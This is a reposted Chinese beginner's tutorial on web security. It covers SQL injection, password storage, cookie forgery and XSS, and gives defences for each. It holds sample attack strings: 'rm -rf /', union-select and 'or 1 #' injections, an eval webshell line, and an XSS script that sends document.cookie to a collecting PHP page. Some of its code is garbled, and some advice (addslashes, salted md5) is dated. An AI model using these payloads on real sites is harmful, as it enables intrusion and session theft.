即日起在codingBlog上分享您的技术经验即可获得积分,积分可兑换现金哦。

WEB安全初学从入门到精通(必读经典)

Web前端 u012186154 506℃ 0评论
本文目录
[隐藏]

1. 首先你得了解Web

Web分为好几层,一图胜千言

事实是这样的:如果你不了解这些研究对象是不可能搞好安全研究的。

这样看来,Web有八层(如果把浏览器也算进去,就九层啦,九阳神功……)!!!每层都有几十种主流组件!!!这该怎么办?

别急,一法通则万法通,这是横向的层,纵向就是数据流啦!搞定好数据流:从横向的层,从上到下→从下到上,认真看看这些数据在每个层是怎么个处理的。

数据流中,有个关键的是HTTP协议,从上到下→从下到上的头尾两端(即请求响应),搞通!难吗?《HTTP权威指南》720页!!!坑爹,好难!!!

怎么办?

横向那么复杂、纵向数据流的HTTP协议就720页的书!!!放弃好了……

不,千万别这样。

给你点信心是:《HTTP权威指南》这本书我压根没看过。但是通过百度/Google一些入门的HTTP协议,我做了大概了解,然后Chrome浏览器F12实际看看“Network”标签里的HTTP请求响应,不出几小时,就大概知道HTTP协议这玩意了。(这是快速研究的精髓啊)

搞明白HTTP协议后,你就会明白安全术语的“输入输出”。

黑客通过输入提交“特殊数据”,特殊数据在数据流的每个层处理,如果某个层没处理好,在输出的时候,就会出现相应层的安全问题。

精彩举例:

1. 如果在操作系统层上没处理好,比如Linux的Bash环境把“特殊数据”当做指令执行时,就产生了OS命令执行的安全问题,这段“特殊数据”可能长得如下这般:

; rm -rf /;

2. 如果在存储层的数据库中没处理好,数据库的SQL解析引擎把这个“特殊数据”当做指令执行时,就产生SQL注入这样的安全问题,这段“特殊数据”可能长得如下这般:

‘ union select user, pwd, 1, 2, 3, 4 from users–

3. 如果在Web容器层如nginx中没处理好,nginx把“特殊数据”当做指令执行时,可能会产生远程溢出、DoS等各种安全问题,这段“特殊数据”可能长得如下这般:

%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20

4. 如果在Web开发框架或Web应用层中没处理好,把“特殊数据”当做指令执行时,可能会产生远程命令执行的安全问题,这段“特殊数据”可能长得如下这般:

eval($_REQUEST[‘x’]);

5. 如果在Web前端层中没处理好,浏览器的JS引擎把“特殊数据”当做指令执行时,可能会产生XSS跨站脚本的安全问题,这段“特殊数据”可能长得如下这般:

‘”>

怎样,刺激吧?搞懂这些,就算入门啦。

  • 记好:一切的安全问题都体现在“输入输出”上,一切的安全问题都存在于“数据流”的整个过程中。
  • 记好:“数据流”、“输入输出”这两个关键点。

你好像悟到了点什么,咱们继续……

前面说了:如果你不了解这些研究对象是不可能搞好安全研究的。

拿我XSS来说,曾经有人问我,我回答的一个:在学习XSS前我应该学习什么?你可与参考下。

假如我曾经要不是比较熟JavaScript、ActionScript、HTML/CSS的话,我估计我要研究好XSS是很困难的,我熟悉这些语言刚开始的出发点是想“创造”,我做了好些Flash动画、做了好些网站、包括自己从后端到前端独立实现过一个博客系统,为了解决好前端在各浏览器的兼容问题(当时是IE6如日中天的时候),我啃了好几本书,如《CSS网站布局实录》、《JavaScript
DOM编程艺术》、《AJAX Hacks》、Flash从6版本以来到CS2的各类书籍我都多少看过,也实战过,这一切都是在大学前三年搞定的。

大学第四年冲刺Web安全(长期以来有黑客情怀),大四下学期进入知道创宇(刚创业起步),然后到了现在,一晃在知道创宇六年。

说到这,很清晰啦:如果你不了解这些研究对象是不可能搞好安全研究的。

咱们继续:)

2. 黑客兵器谱

新人入门总在寻找好工具来提高效率,Web安全这块我之前放出了我的“兵器谱”,在这:我的渗透利器(会不断抽时间更新)。

工欲善其事必先利其器嘛,而且新人用了好兵器会更有成就感的。

切记:这些兵器,你不仅要知其然还得知其所以然,别堕落了哦。

3. Web安全主要学习要点

3.1. SQL注入

3.1.1. 数据库表

这里写图片描述

3.1.2. 出现场景

当开发登录模块的时候,如果我们使用是MySQL操作PHP,并非使用mysqli、PDO等;当查询用户是否存在的SQL是这样写的,select * from user where name = ‘admin’ and password = ‘123456’; 这样写是以查询来的,但是会出现漏洞。居心叵测的人就可以使用万能密码xxx ‘ or 1 # 来破解上面的登录操作。

3.1.3. SQL注入原理

用户在输入用户名的时候直接输入万能密码:xxx’ or 1 #,那么最后拼接的SQL会变为:select * from user where name = ‘xxx’ or 1 # and password = ‘123456’; #符号代表SQL语法中的注释,上面的SQL就如同select * from user where name = ‘xxx’ or 1 。这样是可以查询到用户信息的,所以用户就登录了系统。

3.1.4. 如何防范

1、过滤非法字符:保证传来的字符串作为一个参数,而不是语句拼接的一部分。所以需要对特殊字符进行转义,可以使用addslashes函数,我们可以给$_GET、$_POST、$_COOKIE等几个数组进行转义。下面我给大家封装了一个方法,递归给数组中带特殊字符的元素进行转义。

封装函数

<?php /**
 * 给数组中的特殊字符进行转义
 * @param arr $arr 转义前的数组
 * @return arr 转义后的数组
 */ function _addslashes($arr){ foreach ($arr as $k => $v) { if(is_string($v)){ $arr[$k] = addslashes($v);
        }else if(is_array($v)){ $arr[$k] = _addslashes($v);
        }
    } return $arr;
} ?> 

其次,在初始化文件中,使用以下代码

<?php //给get、post、cookie中的内容进行转义 $_GET = _addslashes($_GET); $_POST = _addslashes($_POST); $_COOKIE = _addslashes($_COOKIE); ?> 

2、确保正确的数据类型:判断url或表单中传来的数据是否为想要的数据类型,如果不是,进行相应的数据类型转换。如使用方法intval() 提取变量中的整数值;如果参数错误,可以提示用户非法操作!

3、使用正则表达式:设置用户的输入规则,限制用户不安规则瞎输

4、使用预处理而不是拼接SQL语句:在上文我说过,使用mysql操作数据库会出现漏洞,避免出现这样的问题,可以使用mysqli、PDO来操作数据库。因为它们两都是将SQL预处理的,然后放入参数。

prepare st1 from 'select * from user where name=? and password=?';//首先定义sql模板 set @a="admin' or 1 #";//设置参数1 set @b='123456';//设置参数2 execute st1 using @a,@b;//执行sql 

3.2. 密码安全

3.2.1. 场景

假如某网站数据库泄露,那么用户信息就被一览无余了,如果这是用户的常用密码,那么坏人拿到密码就可以进行撞库操作,那么你买的12306的票就会被坏人退了。以前csdn和天涯就是使用明文来存储密码的,之后就出现的泄露事件。

3.2.2. md5加密

md5是一种加密算法,是不可逆的算法。我们可以将密码使用md5加密后进行存储。那么在判断的时候,需要将用户输入的数据加密再和表中的数据相对比。

注:在php和mysql中都有md5函数。

3.2.3. md5的不安全性

上文说了要采用md5加密,怎么又不安全。网上有网站是在线md5解密的,他们是怎么解密的呢?因为他们一直在收集简单密码的md5值,形成越来越大的库。所以,如果密码是简单的纯数字,那么生成的md5值可能会被该网站解密。所以我们应该尽量把密码设置得难一些。

3.2.4. md5加盐

什么是md5加盐?在存储密码的时候,我们可以将真实的密码+“盐”之后再进行md5加密。“盐”可以是一个字符串(无规律),也可以是一个字段,比如说是姓名字段,也可是是单独的字段。 
在判断用户是否存在的时候,我们先将输入的密码+“盐”,然后md5加密,在和数据库中的密码字段进行匹配。这样做会安全一些。


3.3. cookie安全

3.2.1. 场景

在某网站中,如果用户登录之后,如果使用的是cookie来存储用户的信息,然后是通过检测是否有这个cookie值来检测是否登录的。那么可能会出现cookie的安全问题。

3.3.2. 出现的原因

这里写图片描述

<?php /**
 * 判断用户是否登录
 * @return bool 是否登录
 */ function isLogin(){ return isset($_COOKIE['name']);
}
?>

  • 这里写图片描述

当用户登录以后,在浏览器中会出现cookie的值,形如上图,cookie的键是name,值是admin。如果网站是根据是否有这个cookie值来检测,形如上面代码,那么坏人就可以使用火狐浏览器中的firebug工具来伪造cookie,如上图。我只是伪造了一个cookie,名称也是name,但是内容我却可以随便输入,此时便会伪造一个cookie,那么以后带着这个cookie去访问的时候其他页面是,就不会被代码拦截了。

3.3.3. 解决方式

在登录成功时,除了只设置name项之外,我们可以多设置一项,但是这一项的值必须是随机的,没有任何规律可循的。下面的代码我是先定义了一个盐的变量,然后把登录后的用户名+盐的方式再进行md5加密,再定义一个cookie项。然后修改判断用户是否登录的代码。

<?php $salt = "ioujijasdf/,.[?";
setcookie('name',$user['name']);
setcookie('cookiecode',md5($user['name'].'|'.$salt));
>? 5
<?php /**
 * 加密用户名
 * @param str $name 用户名
 * @return str 加密之后的用户名
 */ function cCode($name){ $salt = require(ROOT.'/lib/config.php'); return md5($name.'|'.$salt['salt']);
} /**
 * 判断用户是否登录
 * @return bool 是否登录
 */ function isLogin(){ if(!isset($_COOKIE['name']) || !isset($_COOKIE['cookiecode'])){ return false;
    } return $_COOKIE['cookiecode'] === cCode($_COOKIE['name']);
} ?> 

3.4. xss攻击

3.5. 案列 

  • 在从事项目开发中,经常会碰到评论功能,如果我们将评论的内容直接存到表中,那么显示的时候就可能被用户输入的东西进行攻击。

1、恶作剧:

<font size="100" color="red">逗你玩</font> 1

这里写图片描述

2、略带恶意: 
这样就会无限的弹出对话框了,这个网站就挂了,除非把改评论删除

<script> while(true) {
alert('欢迎你');
} </script> 

3、恶意 
读取你的cookie信息,并发送到指定的页面,进行保存操作。

获取cookie的信息

<script> alert(document.cookie); </script> 3

这里写图片描述

评论的内容

<script> var url = "http://localhost//toucookie.php?cookie=" + document.cookie; var img = document.createElement("img");
img.src = url;
document.appendChild(url); </script> 6

toucookie.php中的内容

<?php /**
 * 保存传过来的cookie信息
 */ file_put_contents('./cookie.txt', $_GET['cookie'],FILE_APPEND);
?>

cookie.txt的内容

name=admin; cookiecode=6db8034dfdeb453362f50154ee6fa45d 

3.5.1. 防范xss

1、不需要展示HTML标签的表单内容,入库时直接转成实体显示

$_POST['content] = htmlspecialchars($_POST['content']); 1

2、可以用正则检测输入框必须为email等合法数据

3、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等 
如strip_tags 来过滤html标签

4、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等 
如strip_tags 来过滤html标签

转载请注明:CodingBlog » WEB安全初学从入门到精通(必读经典)

喜欢 (0)or分享 (0)